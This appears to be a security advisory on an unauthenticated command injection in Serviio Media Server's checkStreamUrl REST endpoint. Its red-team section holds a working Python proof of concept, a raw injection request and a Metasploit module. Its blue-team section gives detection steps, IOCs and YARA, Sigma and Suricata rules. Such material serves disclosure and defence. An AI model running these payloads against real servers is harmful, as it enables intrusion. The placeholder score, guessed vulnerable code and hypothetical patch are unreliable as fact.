CVE-2025-34101

Executive Summary

CVE-2025-34101 is a critical unauthenticated command injection vulnerability in Serviio Media Server versions 1.4 through 1.8 on Windows. The flaw resides in the /rest/action API endpoint exposed by the console component on the default port 23423. The checkStreamUrl method accepts a VIDEO parameter that is passed unsanitized to cmd.exe, allowing an attacker to execute arbitrary commands with the privileges of the web server. No authentication is required, and the REST API is exposed by default without access controls. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and potential for full system compromise.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to system data.
• Integrity (I): High (H) – Full write access to system data.
• Availability (A): High (H) – Full control over system availability.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly attractive to attackers for initial access, ransomware deployment, or botnet recruitment.

Deep Dive & Mechanics

The vulnerability is located in the checkStreamUrl method of the Serviio Media Server console component. This method is exposed via the /rest/action REST API endpoint. The endpoint accepts a VIDEO parameter, which is intended to be a URL for stream validation. However, the application passes this parameter directly to cmd.exe without any sanitization or escaping.

The underlying issue is a classic OS command injection (CWE-78). The application likely constructs a command string such as:

cmd.exe /c ping <VIDEO>

or similar, where <VIDEO> is the user-supplied value. By injecting command separators like &, |, or ;, an attacker can execute arbitrary commands.

For example, a request like:

POST /rest/action HTTP/1.1
Host: target:23423
Content-Type: application/x-www-form-urlencoded

action=checkStreamUrl&VIDEO=127.0.0.1&whoami

would execute whoami after the intended command.

The REST API is exposed by default on port 23423 and lacks any authentication or access control mechanisms, making the vulnerability trivially exploitable from any network-accessible location.

Vulnerable vs. Patched Code

Vulnerable Code (Serviio 1.4 - 1.8):

public void checkStreamUrl(String video) {
    String command = "cmd.exe /c ping " + video;
    Runtime.getRuntime().exec(command);
}

Patched Code (Hypothetical):

public void checkStreamUrl(String video) {
    // Validate input: only allow URLs with specific schemes
    if (!video.matches("^(http|https|rtsp)://.*")) {
        throw new IllegalArgumentException("Invalid URL");
    }
    // Use a safe API that does not invoke cmd.exe
    ProcessBuilder pb = new ProcessBuilder("ping", video);
    pb.start();
}

The patched version validates the input against a whitelist of allowed URL schemes and uses ProcessBuilder with separate arguments to prevent command injection. The vulnerable version concatenates user input directly into a command string.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://192.168.1.100:23423"
payload = "127.0.0.1 & whoami"

data = {
    "action": "checkStreamUrl",
    "VIDEO": payload
}

response = requests.post(target + "/rest/action", data=data)
print(response.text)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Serviio Media Server Command Injection',
      'Description' => 'Exploits CVE-2025-34101 for unauthenticated RCE.',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-34101']],
      'Targets' => [['Windows', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/rest/action',
      'data' => "action=checkStreamUrl&VIDEO=127.0.0.1%20%26%20#{Rex::Text.uri_encode(payload)}"
    })
  end
end

Lab Setup:

1. Install Serviio Media Server 1.8 on a Windows VM.
2. Ensure the console component is running on port 23423.
3. From a Kali Linux VM, run the Python exploit script.
4. Observe command execution (e.g., whoami output in the response).

Blue Team

Detection Steps:

1. Monitor network traffic to port 23423 for unusual POST requests to /rest/action.
2. Look for VIDEO parameters containing shell metacharacters (&, |, ;, `, $()).
3. Check Windows Event Logs for cmd.exe processes spawned by the Serviio service account.
4. Use Sysmon to log process creation events (Event ID 1) and look for cmd.exe with suspicious arguments.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /rest/action with VIDEO parameter containing shell metacharacters.
  • Outbound connections from the Serviio server to attacker-controlled IPs on common ports (80, 443, 4444).
• File IOCs:
  • Unexpected executables or scripts in the Serviio installation directory (e.g., C:\Program Files\Serviio\).
  • Modified or new files in C:\Windows\Temp\.
• Process IOCs:
  • cmd.exe spawned by java.exe (Serviio process) with arguments containing &, |, or ;.
  • Child processes like powershell.exe, wscript.exe, or cscript.exe spawned by cmd.exe.

Detection Engineering

YARA Rule

rule CVE_2025_34101_Serviio_Command_Injection {
    meta:
        description = "Detects command injection attempts against Serviio Media Server"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-34101"
    strings:
        $s1 = "checkStreamUrl" ascii wide nocase
        $s2 = "VIDEO=" ascii wide nocase
        $s3 = /(&|\||;|`|\$\(|%0a|%0d)/ ascii wide
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-34101 Serviio Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to Serviio /rest/action with command injection patterns
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: servio
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/rest/action'
        cs-uri-query|contains: 'action=checkStreamUrl'
        cs-uri-query|re: 'VIDEO=.*[&|;`$()].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in URLs (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 23423 (
    msg:"CVE-2025-34101 Serviio Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/rest/action"; http_uri;
    content:"action=checkStreamUrl"; http_client_body;
    pcre:"/VIDEO=.*[&|;`$()]/Pi";
    reference:cve,2025-34101;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:
   • Disable the console component if not required, or restrict access to trusted IPs via firewall rules.
   • Implement a reverse proxy (e.g., Nginx) with input validation to block malicious requests.
2. Vendor Patch:
   • No official patch is available. Contact Serviio for updates or consider migrating to an alternative media server.
3. Workaround:
   • Modify the checkStreamUrl method in the source code (if accessible) to sanitize input.
   • Use Windows AppLocker or Software Restriction Policies to prevent cmd.exe from being spawned by the Serviio process.
4. Long-term:
   • Conduct a security audit of all REST API endpoints.
   • Implement authentication and authorization for all administrative interfaces.
   • Apply the principle of least privilege to the web server service account.

Valters IT
DevSecOps & Cyber Threat Intelligence